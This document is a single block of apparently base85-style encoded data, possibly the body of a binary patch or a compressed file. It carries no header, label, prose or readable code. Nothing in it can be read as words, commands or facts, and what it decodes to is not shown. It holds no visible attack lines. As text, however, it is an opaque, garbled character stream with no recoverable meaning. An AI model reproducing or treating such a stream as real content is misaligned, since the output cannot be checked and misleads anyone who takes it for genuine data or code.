z_^EYh9<)t{)t>kyYjH`!nTdEVq4EXt(x%vsLqNmj7u%0;|()QeqowYE0?vDZs2a{%YzMgv0YZ)>$)94#!Z$Wp!y&tw~o`c|18*=3ldWF$- zM5b@?7;lNIY5DL!=AY(mMT3mpAokE}2k7SefFOPCE$Prr{-3RfT6+IH#e$umA$!uL zpvLEf4GeH=EA&N>z=ggqyAsc^zqfrRMNZU{C$(ZBy0C8(dlDXew~)Ls zhzk$|aoUr>xD}Ir2PoPIVvhdL^cGGEEnrW5D>3n2Mnabl+}XV`wh7sC`t$F7ieUoM z^y9<-(jd8H3k@!%A2zjf7Cb>PNB-@Z!pFjjN16>?-x+_1b)&#om*z{4lt$6;8jQzO z+`KR;aQX;g`t+b+EBTe$ClRH8p%^RY*b5e<#DqWhI!POkDXKc0(N03LFn^wO?E|LP z8W)AY6HGD;QWZ#`fL~$NPb00J1tlpn$0AyM;Jr^2-ez0$Cr$ES99&xHW@1vybfS#B8Qf_}HOqPzkiSenB>ob3NhMMU@! z9OHObpzAR|*ZYr}YtlYcG&p0TB4Aw5ZWUb{z+>tnp{F5+oUPW#QdSnHoAq+&^$Guh z*>Y});(At=GKKYPwx`>~P^y6Ok+G3*p)aIz`G0{DM+yoWAiqsPeGqvX z#=aYht>Ea z_-VS2seDB+y$^aX6G2<~U(gM4g602zyh8O=LTiNtinZX!Z1Z!?k*7a+Z7in@4yt9p zI~Tw$51yvWf|Tn0-r>>vDIZiow%zU&&brkGMOD&qFRx!8CkPnAYBl#T3(N*MSN8t{ z475XCkAeN~b#QQ^+dP7QB4oWkAaUvm=5+ZK?D-nb=g&@48Cw|-nH&p|)JNmK+v4DG z?C*&+P$TSaQz=uR3HQS`BsjOtFx37UlAX)?;@Y5!*xVVjoJi0 zgm_V%w(OT3I;VDgcCg;%uk&}_#vsl>Oi(GLz65j+4zRB}+$d9v?Y=gt0BBmp1Mp8N znUM>rsZSr(yP#?5Y6H>D`NHx2`XvVT2DxJl=S1CRr(1RCX_No>Z)PGigM=n9zquu7 z-p>eoQS?`+U6F5x>UGm##O+v7s!Tr==eh~@e*6>8E}eb&I{g%{!2#kQ>!x2D4x(N6 z>QFiD_Om)ej6_kc5-=U#fdzKw528X&&kg+6B=x`&i$epmQ7HhqK+zh24 zGrXHJ9s^DE9L5L;4t6w&((MePtbsq1>?K(n@9wPiQst*ebrZQ~3JdrlnqO;2MtlS@ zs@sq@>nG>|CG%5YfUwJFr0trMLDCAvUpDY( z@F)WLGgn?BwMGU$bIFOLvuudNs&KN&t&Z-Plk0xgPZk_Hj_UW^g)jUY{BPMTcFJ;n z-`Ivl*mmZ+Ceu8EwmFj|JM4cvSug2yXdoAYxI;0LeGIFnuz;BaM&Q=?M$e7)Cd~%8 z(l8P?sD)KON}{@Muv}?K^`*%M6Yx?>Fsayo%>iOO&kFke{>~ykj zFj1w;fff+J=_|3XraR2e-vseVtdPAt^1ncB<2c??i6zdybGx{kR(;-M`Sr}-COLjg zDm`)*(@*T%E`%u(a&7U7TyK)4hNjxcj71@@>WJ`$l8L5mxSoaShTFPyA`Pz@Q=;Hh z3c}x7LkhID`EqyGm``q{_{UtyK4xAga*YI*^yxq)q-P<%u;Voq(b&PH&)Bwdb~{eV zFuOfp`X$Ha(T00QrzeKXE~Sw2iXe0eV*yFy8G!v#*#I>pD!(!(x=*e_eqp($vJYXd-aa^WQOW~R=hnq>Z5$DL?Uc9!AH=r z$l$!@h>TR49iwulKC{F&1uQv#(b7=vYEGK^7J@iMN!CHk z>c}Wu$u}$Te2Zp6?qiL_X|UW|{Ty2p4%v$*g_FVs}9 zXk|vnvBg{_(fzndF|<+%oO1pWD2n+ckMt!$ep9(kWeyl9$OuAtHs)hjDDD&->jcaf z|DXBkk&uVn`BvT_52)0m`n~)rG-Dwd1rz zFD^uCu+ds_=xeav`uBQgyM?oKC9(rzBcgvSYsppFPG2N*j0iW$2BjO-zNu4l3g;z? zA5?(D0+izFgY^Gd86v-_cY7qGzfGalhrLaKm&j(6f_H~qTQ0LD9<~O9n_iP9qpNx1 zdB}xGO2|3~Cks@X597{xcUuAcjqtzg;)%mld8~G0O&YQ2*QVL+#Ha@euz0N1ee$u5K=Yr09{BQu#Y^c7K&t=MK?}9FLG90&j(@UMK0MDWjR17p zuz4iNFc?uG-{$UhTIJQec3xBT9X8#^KAzJAarZx^J!fkkJ3&*0ttPfjCZ$Xc+Bq^X z=s&Sj6v;?fKJQLdy(Lm|S-WnO&?+}jN)e180SoIj(^+qb=bKk6y}8Jdf+9u)c{LJT zinwS;AG_ml;;u2J+P09nIPYg7O|lWpU?!j@N4C!k8y7F8#|bSlU)%D7KeOi5l%>Wh zVwZky=lpwvQH?&cfaqhv!=u%Mn?|Z^I%vd@Tb-YA|JUeS?wjx7RGR`4^PK|eu`Ap`di0!UKai|4b!#35 z%}!2N*A;Sp@&CBqi>mSoegUNaeb=LgSeIv3LYD0=vOqwIkB}`S(1It0X6adw1-y|4 z>#3=8N{qK>lDt>QRO;Bs|6UL4SbdjFrnLAn7ySaz>4gSZw)8;G9$97Jk#0~4XTaFc z-ihMl{>;$)4`4AGFkla(VVXkb+-qSjD18B9Ykdp3;)h}_p3uZeJ!#;fpw6h85h^Mr z;kU}akaTDs=2hZigBN^teog|0L_R}`KChc>nU6y9D`7lfe@73Y2NLfAtm`uS0E}oh z*AVY(hyx$YkGPMmA0)S)q;J`N0rLzw%@SynVBwOd+KL-%kZn3neEspBipXDh30Wha zAWcud9UWOFI*vU9T_*l9i6PRhb)ppW9t_cN8w|W#HiHNaJ0$n<5b zf%)aHG%fSB+0G_5fDg2awLLoS?h6LrR+who31{V-;4Wi2`W*0vn$#6K6e3WXtFbE? z9}~XRKI=q^WzUz|4K@ipA_;I|fp#l2{)yN#|A4lC2Fw>_y zme;xRBS!-_k5WmjNDGa_=1)D7!EXwVv$xsVkt(@dF?*8+MAU*P0LVSxwKGNbE5>{a z=>b8b=z;J-qSg;+mz;z}LWQGtUG-xPZkg1(JrJ;K(@h#HQmG4|?Ua>m2pq~Irdz5= zKT*bC*fgNb5X_XJ9Dhbg8{O5mA;7A|(M&o2R%ETicE9o(g^QTB@sb(Cwm4&1AnGy z!d6pp6D37$?Uuxi^%sAAK-=F*Marb;^zYd38r}QH;RRl?xKPz;+$H%^SnkQz?nf7g zb6YR@@oyRz(Zeqeq`)4ZKx7O?DM+?B{dg|!O}h7a4Ial@K69je^WT{`4E;TpO}r4i zG(+|Ur42LswOdT9ziN}N_l@1fcmCgayd~@4%#SM*0&zZht|0iTynJKvt1NHR*U15r zn`-&tqKiL7C~Rlb5#Z;Txp3+U5bR!WdcGHwTLwndo>_1WH*ED-mb|8!7RzTOzD0@$ ziA0EVqQf}2;>P4o;|Dwb^ylD(cfo*ufhC`X+dXo{gqVVdHHnkxj zh-|k}JG?iOS|Sz1-@dM?b`Y?2nsEm~+<~NCxQVy-Aco^pt=i!_AinR2usl~6e00C( zU`EKhm$NL&a9{bvDR~!t8Z>dysr2D>b8NI|wbZ+SvRY6DpoF6O1h(^wYSW$2O5Yn1ouG7A?iVT2DPfM zg3JiY`S=Oj*ESf`5;Pw~KcwTaq2J9~O%k6WIlq3sF8lgpxI$6y7DtE1N&Q|S-nxDC z#_J;k=@(@BaE0b$9{CTFF7`i%egI?WGGs9^O}rk37tZ$UkyOge zcqi#=s#Nsu0hzPKn-D94M=S24B;%5P5R=&H{K%EfHuh_dffZvJZv?D{NXVgkF*rQF zl<%hlnXjtVE^fp25KIZS8RE}In|TPH<(}p*M%K7*I{MrX_3c#hBY@;L{?gWF_?5bq z%KUe5|I>y&OTpAb8dm_?az3|k2p0DnDn?{34qHS?Jg)0cdm;9};|da9Q>iaBh%mwy z*&mN!><+r@=Xn^g7QPduRiyJCpN3auuGrLcc&dx&Ziq{^1R^IhbA8`XiyE%>e`$ta zymZhyn;SU@XLSbKR76Fni^#UKsA{3FC?&l$+koJC`vE`rcO8bcpyi8V?n&g zX6a$;tu0%LgxS^JJ{AI7WX~eG)Xcpf>NS|mF|+OM@Z0Z-MRevb@p(vWl<0l~0__}s zbxezlxpS3wDH)+~hdvTV$#wM2k0t=d=3Elk9l~2-@eq z+!ZXJp}mKyv1moItM0;Q$Pkkz$eMEnJ$(^UQMDHu#Chn>(*;MhjDT6+>9BQcU)w{-c-(a9O$Jq9!CF$S(zK5dWNu~$yE zJL;aca8K2RI}@ckNt@T@yDrxShSGzegCLcyt#HMFwrI_MFK?~JSl)Kyzb@+`mDT}V zeg~rKy6gApTc_>2pgZ(nKk3?&RtA1ySsj4ysMpJKr!r3;<7sP8?p8od_#n+qinE&F zU&f8;*jLeSxAor=SbpY;Pgbb7R0P`=nPlx}GzzYw_@*Ejz*_{y-FSsOz{G+n=>s)F zi{!pv@jTLh6WThY7an+5lFTtU-@I$Fq(Fy{{X`GDz8(4pwn!}1X4bX7i4G$lx9S<4i6Fa3HewL|zc9V%Lks1S z+P1Mdx#aZ9v@4)uD673A(x@=FK+<4_rALT>iPz`TCBB|=g3;uKwB&N*C0cimr}tJg zeyh&4IBF!m65q-A3`8oc)JwhoNfabh3O6frwgj%joO-$zhJZHDu;I7v7(zeYi(uE{ z+#w*2urfF#keL>VkvJ!&-FJ6Ur4Z5)_(|U^&Q;^h2@e?Qv62~uoY)ur6gMVlJOWv0kk}HzO|gjV)p96 zWcQy!O30*Jvj>sw(U;k}E-f(a7eGputc1CYnP-~xDmjq8e19_e@p-AAHSiO|RP?YB z?5#@(Atj@;Xi(~rCi9Gi%(wWL>e-soUsoP-B4#R@6$2Xl+rLk!->BH5-E5wugU1Z* zo<8}$i4~3J45e6$zF8gyD}_HT=yGT{)m^(P-Q~WpyEWiFhcD=|M+u4LBbwjoTCU*n zTYG1G}XjV6?MVIZt@U%h~QTBy1zpC#k|^Xj!n8sW)H z)T}Y-H^ACGnR^g64~g)|!c39IM#-iMmb7;Bp*&a<8u79c$jddfRKq8e&HhC}A^(+S z%f*&GK3FhA_`_i{<7(CO)#>pR4anNsSEUai4TBN_;k}{KW&pzjWl_I47d>l@N-x|w zBQL|LPbLsFW}>XYs56HKj>6lgp&=)Im0I6u4E&46c50t!Er9JoBDcsG(w@pvYc&q| z92*%7yFbo-t@Y(T{xxQ_e)(*6qtQAmQc6CpDo`aPvpRj-XS1+q2ma8!LS&1ih_5dk@6hwrkVO3P z+{!2EWBtqI1Hp2g+>{6GE&9LE%`DT$L-^G!|3@@x1E!K+usS3z-+a{adGbzw4MA84 zF?l7xM;_MBEOC(4BB3A*u)RCf*b)g?D5g{=p_oQ+H6X=vNm8>`_B*3DGxTb4GUWM3 zaR$}JWD%|HAbLHr{u!9+E4R!FP(LD1_HSdg?~wB)aeh3)cm0AnV64>4F9p;Q1_Rtr zfQsNNkH`7vEoi~R;3y;pLc+zdwnKY+Iyw=TxJTY7Sgl&-^}HTS{YfENbZxqsW~l}< z6(`xs(acBAxin}$hLQ)HCK)Lf<{Iw-Fy|F{fC7j30(jJdOkG?+@#~x5TfpBmOb0i7 z(_LYsw!Zgheo+w1x(fw%F$Bh*2Ua!rpM;Ra@9L=fS4Tn$jq2_uAR8Bd7Ty59OWOc#GDxw+ z&D8yNnlseKRok1VaycQwa;-)^tjZOR6z%kEL^Z6Eg$6@!G)=W9;#WruT_@LySs}pREW#F`qx^A zDp5B$_JIO5Fb3JT49Z1c{pG(JDQ?R_=8slV_3?2_@QiDm&?YgM2UP2e#WWy8?wURn z6yzT%4^GJb1O)sU#vD9%LLMFP+%@f}T>L@HeBSEB$+|3lYk&Y=kcGGNP2JGx3yvbQ$@TQgmG>;b zzrL>Evu(_TOR?Gr@{Ol5FiT<0BHDF!a$)>-AH<>o3S1bjaw{N+ZERfk>LRKZ< zPm=l9mQMXa zK(#umM~Ecuha{pPQBet&(L{yXfKQ3Y!Y=lHd`TtTZi8Q>h57+sY&U;iqN$@q3;fEw zf6*G7UX+uJyxRvIS~&AuuYCVC*EtQLA={zb^IlH}m+ysqg+^c-8@i9H?%P_3x#EI~ zo(cZF(E*s(wR`H3R)ub7s_Ycz*bf~9!C}c+IK4v@1)5VikpfXs&ljzyJOvnv4tV;) zp1i6*A9gmI>K-3=m zL5VtSM>$O^GY-YGl$vv3$#1`D8(cuBEvM>uoN4+XV7kSkSxe<{FINOrmk{m3aHMXN z&L@Q?@@F5ZEKdPJeuLE4frwK)iXehNQ6f?k)C}cE8yj=mDQ-Ln5mT!NE5ws$J;f3y zv&L^bIEF+1?L}|9%9)icvNjTcp@4* zR%ZNk(|2mKjn346Gxdh;Be3TPx>BcV%HE1moEO0NG@NqMs0x3YQ}n3Le%e4;=?_;T zz9YdM8e~Yh61FHMc{bq+zrRL|+wif-M`JasehtUX&(`Vyr9g{7L;>k4w{Z4S zR4M|ftmaeVNQ?g>!?T&9^#A@^zTNc41R0DVC0kUxWpjK?J5l~JfX@)^t3eMeAKgrv zXbRUFdYdo%M~t9b{($bKYsPtt%=UuKMd`3*G7C>nv)SL36lybV(v2fP+SV%vaZ1gc zW&LR~d{+{Zv^`nxlu_pVXQ(ztmUQnIb&AaG_^C!pKh(`bt0CDXwh`r|XzRBHqI z4ZDgg5@MY5o~)vbl9hyD0fjp9<*ng*@IZsn+rSe5Z(mq~Yj*5Nl4Dc07_|+_!(X2v7BrF4q0`Z7xXqThQh(vuKB#$O3g+eJze=Z&n zqt;5Rf8(ZGzz~x=!Li5iLEVtDEE|%s)!WBrY1=W4_GLPm4AUW2L#a~zQFq|4C7W)P zc1lZ_TU;q34OEa(88;O>!181q%Mk0flC4u@s#1Q!G_Ne6x8>!_*V(N+;bA86DCSTr zY(zH6;u90?Q_JzVtEkRti1&+cbQOtGB%`8O`e*QbUV2a@6_S?*+Iq837K5#EjFv}Dtf{Gb)%R6jV zG}2|o&~^Rt5U6w_TBsX^!{^YS++e$VM^hew=Bb`WD1z|3Nu1BLwJSKCa4-Du$R_F) z)AKBeq;uXsCv(9fNJAk^KJru{4F@^x#3x(BaK**qYMGyH6D(N8y7D71iFu|xnGx0- z$|Vw}5Hc-E+SXz2C<{99qVA_8UkvSeF9(=YFLgXIT!WC*WY*osPDc_#BR__s3>R&z%V+I)+np^Dkwh!?Ow0Ax^{K!p| zy=@ZJW1#M6LP66bKZNOwcfZ(dvJvfxh|f5T^>1h|D@}v{rGMX?(c(+ByD?J2->Fx}@8yiYT9D45CwiG7 zs_yg5ig9k32*DUzMW~Xo8FEnf?4-ZB$c=FJs6Fn_8M-U{94Q9=v5JPvBC#2ANsAVq z_Tw(X7cg(5pB}&tXJlJ#wAcU9I3j|tdzQM|RF~o9^Jx1L7r`P7;ju%d9YQj*E^Hrz zZNx*xv$0^{zb)BZ5BPVH)623yn*+tmrUlD8$dnhq1ivPi`+d-*{K2qYk5YTadsl?m z&YhvXnEbbA?vtQ8_B+=|lPq_eEZms5xLVQ&?jlN|#0-LK6@`eQAfQd%T9N~0=#24l zQ(sDx134?!6?df29z=rb-WV2K*VNkGTD=WLi{c>pHxPgs1kyT6^P)#puK4t!4_~hk zCHOfKDy9lh$;O+=a*#we5uB?syAGw$IOcJ+4Hwv9RQ=CV zhF3KVV{39mU~X;1@qPHCg*FS={8vTY!Jfor)eDvI8a+5A3L8`8h%=z+ zfcSJgi5;Mip$HpEoz7&9lGzKG>3tdE71p`U^!rAuLGi<(DjWX*9^-y_?vrJ?F#~sl z^Q`me;iQvq>zqEkVFm`1DvnIlHqxfMLJ?hDSFgLyp*9oK1(gbTKC6X)$r>_ zWSC{2=TuNTWX@a0kpDZ7lmm8N)DtGOz)yxLkOQTCfZM!9XUM)+FhLX*DloWG4#Q`L zdt~!AK`cNa_w|0Fe*38Qp>eXKeI0^EAoT(QHZ_&sLL5^do-KP2j@#kZ41=_t8kM6O zjXi}4cT~PP>8ZM8mmQYlk&J8w)K;BSlmUzE zutR7-$R=XRAb|DAK7{uwB^1T2&x*L!=UF#`)u4BO^sYBPfD3ysMl^M@9yS2x7?zmHlyF%^#&;d{VyTPbZ(#9(I2_Wzp8U4Pu-1pr1r? zgQ*h*o0rW2m%&TlE&vzt?GTOwYqfk57^;=o2&8MxYbC!JpWr4AvVz1FW4GDv$P_2a zCyCRsBsVOAV?f8n?_kK*i31cVj(!5VHq&^-CSmFrgIS8e(yz`}Os`uPlfR*7Pf+O0 z<4of38Hk!U7ulMPNKI#2^}MZ9R1iNV{dxb{8#>O~&j#@H9mzocsLO_ADFv zJ**x*m2_*M0pZ&sslmYpG!eRva&8s zSR(s6N;GrHj*#T<_PrCkhu4Q7Gcq$>)0jP)wTe`r@9(?hUidQp04Gq1UDBm$DdLM9m6wI6gh@-oDLEse+n%H|*)h(`gA{(4>b^$m zkR{49k{@b&Tgi(T^w61HFAcB#o%K6Ha)ygMett%Bv<4?UVUN@xOBx?XDM*DuR?C=W z4AT~!jcJH_#7eTLfiijSl=>dtDkxl|j4vn9nBGFr?OCG0f!^Ao`$>Toy$rD`zQ^`@ zolBHzy!T3dGmjA2aS?4ku`*od* z)E(YJKA!+WM2&YAn+=#^`$45ivdOi~Drl0p+CdYany+v&EHZ;ek*ipf?ORXlcVdv+ zng62px_90bEm*hg+QN)3D^}*7S&ekaE_TZX-+~TbI(G*ai?f;dHByPc%kZZoVsiS! zv>6lQZ|YM>DE(>uj95IkxY+G_qHDQcqXIJ;XM6QQqRnN36Wa))^<_f9bsnag;Pq(c z&F=5K>9bGIt_tpf5quA0JuTlyh-^_zw7n^jEcOh_6XaY66jf_Sa~~9k%^h^YrrkygEsOP6ZNX{ zjx4Y3=AIw+h_WRl*#cE!G0~0N=e%>7T@q$B-+AoEeLqW#cwnpgTu(k3I(QRj){DyZX# zgjLpPHm>4~4&3*Ehc)j^vyk(j1Rw?Lx+cq83DGd{()v}IE3%j5Cv3`5N?m!sXo8Dm zyXqRH099Wq!gzENh5&rAkJQ34UgUXV8maL{VyEB9(B_R=-ff)*qR4M&J_-7CTz5JT zW3V3fXD=*&acb9#<9M*kUWgjnv~JQj9RI}cHtN>VF5i5s%uzFSP-e$o{%w7d8@rc;XG%7v1M)`8b11~fVPHDGp_1tn<|M2 z9jx(Scb!_DV`HlXJ6LQyxq>X6_%ncJ!J%KE=Ivk{;C2WOyWP6{;|e+Z**Oe;B6tLT zhG37cW~r#7*Sgp{0@KDKS=u^k;8NHsAtYv=vG9#b;U6OI79i*D-ym0yf1)73)z|zx z^^p-`3Guw|pfjZmq9 zK{*eP3B^rY2~9?n?>7;2Cebwip&Sz1IDZ~Bade*;_H!Ds0?90TVp&i)p;x7TSc5M6 z9bk$-FUVR}|9mRzwg=s$M_lzX@u!A?Uw%~}-V?r?A_`=L0(}1PkVeUWb+?_+BI>sF zq3XD`;icxaoKhDp1LN;+o)wEQkjsaQDJIhLqLlK7y@Fk#G=YSsLgo-L2Zu=QAMhP0 zm$19rq1EG_u>Sp5)5G>0{TGo$;LV(~fG}P#jc>>z+jGnc50l#P5Vh-v`Qbv1?B0$9 z6Mn3)71=Vw*V|bsvWh#3cla9#;7Ho0%ZF#r`MUoJ5*u}jzPWBM`2t*VAN z1siFGpZ-&`;!@)<%Ug*B(E-AP&DGZoB>Lv-!LLBm`W4#iTGZZP5lOXWS#jN>t9nqz z1l~^~y{4`O%Bprr>5t^G^%tMzuQ?{%?Q6Zl8igb`ltHKw-Gq%y;d}+vE3V5`rxW8U zX>FINZXRd%IUU+^EBG*QrPa~S2=~~{gdE(pk0TL#zyMGrRhi@7ZU3AUp72x;Fx>Zvygpk^RVUs|%<{p_?0@sTAEEkUhz(cf;)KZ=y?yf2ccuaD5nk^|H@g;3#@Kg0 zrS>tWrW3z2>U&J+tRDGSjwg+u4E$sT0wjhZA)T@f&g9Y(!Z(|p;(d=K%L{rfq?2`j zzA0AN(s#4Zoi6nP-5ngQ z(|AAFSB;f^!ui4q7;j|R2FYOls|Hy=B(lquw5~QUH zdfvh=A>|qHM(qxn5s?Uc2hd-rCxNY7=QM95E-3IJ=Izkr)ZNF@iQLoG{OR4ptxG<+ zho|TB;1hIT52Xj!-%Qn=VdVo9SrgAZ-Ld7wc6y$!ZkPf~E^e6lyQFyv^@sdUPJ4BS z{CNr}hhLo751>l`R24N!0yF#@-zjeZAYnQ&+~>PRCMfVL73Sp$QakxO8B#vS|Gc#@ z4A6>st_)xJ90nqv?M{z=QIf8PxTSRK3ncNWTKuzASmfpUQuKi-+j;AEVe9cT#7|6I zEzdi1l(HpZSn!k|-vbJW?QzU2D&~O58mn=rZBo@yzhYKY3;MsoTNL(O zsmW8)VfHQC-!P(Hin&&>Vvf_9#YqZVZsK~b1j;>B zH*p-@uBFV~RS%2T@?(j@sJ*KxW;_Xh!l@!H95IRe2$_^wMi24jeWXaJ8p)||3Ey;5 z4pN&{phwq$!#WMIy@S*j{yD}usCwwR337?DPSPGnL{qt^e`K=31Z_{Eo%4v=%>OF1 zG&A5c3&ADI?|iqOoHhOdcE$vIT2G7uR9-R%YCdl3q+o{d0889I$B&kBS_)~Uu~r7N z{UcAi6J%}KF)x!K`OAPThA84Y&!oSKGw2?%=uVxEw`OB}(7qZ*J;ax1(8e61DYATzdPkSXFa$kDWL zLyBZIncU}pu>4ZqCyhIa%QM-1YTLobIeD$qzFY9~rh)VbiH<}C!P4X|l126#A)3U> zZe9cmf>9GYgYHjDloO$Z_%frGnM!8ffBrUtUL@Eah>swfD_G8B?O!TXPary+0Q)0vL7e@zW zs*KnIq*fE|;2u%lL3-g+Xj4qbvI};GggSTvHRchInP<(!%HGUx3 z>)~;EwQ&%FEyV8!KA*3BaQvu$BqG}EL?KZyOqR9_!zvOWI0!36dq&y5+-S;+j}0N+ z6Cd?~rNGdjO=c6=fO*0+__@Kw z;@By2hm57p3sB$mb8|L`VpQuFoclT*rVpHAGi#=W%b7yBan z_10~IlIjp!{P$j(0s2?xYuAulhm29|46;;smi|M8)vmjc{6rpwztJe3w5qoX5(VG$ zy^REy;?F{#@@u)SNBBaeM}}~I$8Psrt!TSopCL_t?upnkJw9yrlG#h!csVKGqILxW zV&IoLrm9ZviI7ixlBaCgYS!MPDPDVl%HOP1r2!UUYQP9~AUuB-5$P-YcT^JwJeHrM z+j;CHHbhURT!zG$w%Sy>1Reft#IaeFuJ2^!*u-#o?V%vV&Yck9xfu^}Nq1Z7tg(NT z8}8e&ipj8U0yrCWO52{t9`|rL3$JO&Z!iXfLH8d8U67uVl6dtm_tgf>$3MJ;(>>7* z((+;z%`@WtD#E?+Vmww!B&JTmT|3og^!#I?HEY+xXjmsUep0-ATTg;f-}NbLOd#qa zN$qR@sTs)BNH23CN6X@P>ml^QXq;45j(X;gB9PXXz*4#O3wWat@RYY$qrI^2I7}%u zCMxFb8DO}Wr|YaCZkuqO;uVWu#cIb~aQQ0(ElayJiXCX}P`TF!^EA+rV}^F9(7GZO zFys6nPebu_P-I35mA%TbDsy4Fr#al&>%dk*J0MY(*1cO>b?=w{Fhy4nUDN%X-+7KSjg7tiv(`e$_|;foa&O!B7#&Js0tHj1 z55A%3r3Ua~D}4`~v4<{pil5VcR>w+>vS|l3Lqh(^H6gd(f7+v*gr%*RoZAj z13QGOfd`6G&o*VH*P+=D{V~WpWccbTiAqE#Mok8V^x3|w-RkI}Kb1r#?G`mujtg7h zLNk2@Bj-6*wIU*Xe9VdIFOG4@Q;(Sy{sW#lp)oC1MtV*PXv}5B&!sH%H`2*v#K}iS zhJikC6;#ah$u>!Du8A_5*P7{z{ztWbBwJZVL{rf@Wt?jlmc3o7A-e~bVJ)g<_Z&K+e_L){f z0g|C*eF@AhwQ9{P_^Xqyj34L3)oo>C8@B^IT=CO*Ug3YFoI+s54;edGJ$VZMY8~61 z!H@}5>qA~gLh+C;c;y1pSVrXT+HImU#0Zv6SbHRuZ+2GO-@WW1(n|4a%8(9v6P`7( zqse=lbNana_wUev=qEvgJV*AW-*HM+C~t~r_+DaseD}5DMT#nCc^F*D&pX{6pb}27 z!vE%O;Oz##!pwbekXKL~Ww)vtQk1X_?QnbT8QM4HRyyO=Mbn)0$aA`y%SIF!XGN{g zN_aET>ZdL2OPJC(#>n=eumBs&S?kty`=oovWA4u34$HD~--erzbw-d1`0?e2YkZWHDrU+=d-648c9 zE3*GN+(jN&=Q&)U-Fn`5#2Fs{$UB`a{!`lr&V4$x9Vf1@(@-8)WgqpL<(`onw(Dio zks7A>ve{zOKr-|vgO`=3w9w$#s7**{cjU~TGgmIyfoH&dhFZOZCyR8;S-WQ#z8qdd z*mr?x4Y;7eyR{Fnp}z!P=G$d_*IR;dW8M-y!-L^qa4|5v1+gu`Ob`G`x9mY|S~sxF z#?xWm4YSv9^Ysasa|Ael^dSXx&qv)uZ9=Y2Qa{ySgGi4!?|}IS;H+L1R#^bi{mN3L zi&2J(Db{)o#vjNRp<@aMmUOQHPcOK$9m)wnD!a@u8Z?c5@K9&TTrijf1zD;CqpBeh z$3B~3r#K&`oO~Yinl^9qb!+wH5*Cp5Pb+;=*J7I_?ihpdb{hkkF>H?$) zOXt4ld;_SC0#oqdNoQs-et*nHx#7=w8DFu4(4fq(s*G3FN@WJil_eyuN;NYvXR_Rj z=ucEm=9QGl6+y832DpaAxiK1YPkSqFrlt-STc&pZw)`%L>eN2J@mtf?p$+X`JmekH zp3L~`0@0LLb4{sx>h1DqC>L#_SMAD0-R*9eH;?N* zVPa_PW*ig|#e6C_7?XJU;EB>?lEA)8_7pufbKwZPSGqyEk~%zB_O(_c16Hh>_MjWF z;w${qJ&rY4Zx^-C;*(qvS35thzk827ZkKtv(SDeu#^*>D!6I!TSv+WL*X1W~`c167 z2*bB6nOrvpNS3xG?A&i(9dGwSiSH+bo~_!M+usQ2V_GH!ThxA|)t~S2W~6}~G;yE| zuwcE8v9D!-44E)^(2{=%DOF$3M#v*El3Y;UcFp?g3r!KASBBya|90pyQv;uKGLu8?B)yK=h&^!`X;gt9>n}S_Ho$8|KQ=CVCmaa z)3<(G%r8uBjVRgS|K6k~9fc|>^tTHS6k^30{iWw+uIhwt*RpioVyuWnZr|eLH`rGp zMRBaAxDDzH5Fth%lq+W&<`S6h>p6VSYNu!y-dUC{BJf!K%G= z-ljpb+YY!2wvuwe5RK;Yw3%RyS$9DH{w9v%!OEjo&OdbE<2#qYuh$|Ica!sYJCaMX z--C!HMfLrg5V<)aaoFw*%2<<`^-H{UW%Y+w6edig-QAME>`n$ab2aN_8k z3c-d$XZsz^E#ROY^YLpy-FnYraPpTyRedYvwU3{OW)hn^9Mw&mKUp0Z!|0Ji7#vk>qrpgO~h`G4LeF>@-~*S~5-UA0Dh^XFT3ytF*UA1zL~|Q2 z9$aH!^FhGWuITCn>_fM(SpagG=`j5}oIoLb8#fVngH#@OTE8_<`v%yshlGo!DfRQF>y9J^<`p&eOvoWwj@ zQZ|})Op6jLeuu%=gS>A=*|u$41|#gXpvDs>D=$b45gT@!Ehucp=aVoRJ1l4Er!H{1OJ7t%m~45hpwJ!4QIEUk&-WxB;pB`C);``3h!FJ5#k zA5*l6FCMR`x#uH-ksQ1&Q51o@*6A6+yJA~Td%=0tT)*o7qQMVTx~5c85h8Sd!#vk4 zYzdEGr~Ee;#l7masYnoyRm8=G7>jkqK#A9v{QLq5EKi-|U;bZc@R5g4sJ4#&B!MyW zUR5!aWM#P9ry1v`BFct;c^FIG+g3WU&&oRc?no%#ZLIAvxcUFZi$gL^)<-^B)7qUU zUM`a%Aep%4XIKj{_uHOBS73qC>^oz?P98#_d9!vVMj>a?x#~W|6WZVLzU@j%{_XAw zy3;C`oYL)_^X1#GEE62SJNDs^unE9mW4vU-VCz>+4rWsdK8PCY+AE|BDA$e9%V%l89Mx;#`B2sE4C9n#AO7Y_FWuy z_r%#;bUD4h4&N9Tq2YeP-4E~XtX_~t9;R8re7FxB=5^sSSv z=og5D)JoP;OcKO&M7c#JNR$laRxU3USCNPpeGT0^N3ntVo`D8~^AC5~o3&(_C^tP# zsfS!4y0pzz#d=cj@D@zjdA8`3H{wbUvb`~q(o(#yzuRtAKQ~5qdZXp5JzmQwhuZu= z-v7GO)W7iKT_~5MMwHl2PqFr-xu-(LJx#zii2*-xhj6#bYtANvVMVZ_S(4a`ISLn+ z<`E)${CRU5d~*~RUxu3T{@&5xkyw`T5Xj|-dzS|N`M4VJu-)G;{xcA`+hCcBcD#?xO z6ONPGu%i>5;FYy0WHLIwD+Hn}C~(FQBR@cycV`E^8S}WXnA8Co`gytBJqCH1IXtC7 zQxERUAC9a&N6_?}2Ugtm&%H07RfAB;6gl zF@vBq7h$ts;_D;&nHSqWB#?djz{$=SZJvn^uGrxszcZ zvN*n%|IFjS;G~iNof446+nvA@Gxpb7*zB0}92QP&8G1m&e_l{1+Ts?`+=$vG`B1bE zSx0+SKM*m>qSm((s|+3UB6b!J9L|;($s`Bd6jC@mtrvfSwghvmn&Y0{awOn{5vN|+ zBbH|sb9Y7<*!F&@^i%wscaoypo&5gG_M};j2m4jumVpiS&{)HWXt=-JTaPZb52`%E z_9fdnRb_ieWn>KtLzlMb#cxYG3b(3$Q%Yjg*rkVqHTP62mXgqTt4{|1^mg5k(Ru_I z>I}E7$<-X1ZsHcUu1Rwp;-3*#5X7K`-<<@qg$MhF$Kv=wpKX(@NFTPc-#`B?@!nit zY4R}EY!+P3*k0VRjxKD8CSL==i1O6uny)9&T?;b}4f}d%`=Zt6)k=8v4s`oRx7;J% zq2ME|W^7ljnLoEc4w2Wn2b4T8crE3qu#kbDx`8TrEGC1$&b|*Wcs}Wdhtk4T*+LYk zZ_k(3DYulU?Abj+VLvO(Q4e;IEjE)XxY8!#XiBLbLLN8GIX$Qch+SGsWj5%SjD{O_ z*UpG2!ttdNgf_Qm_Eai8D5bh<7TN5-;-VaZWMx#5ZG 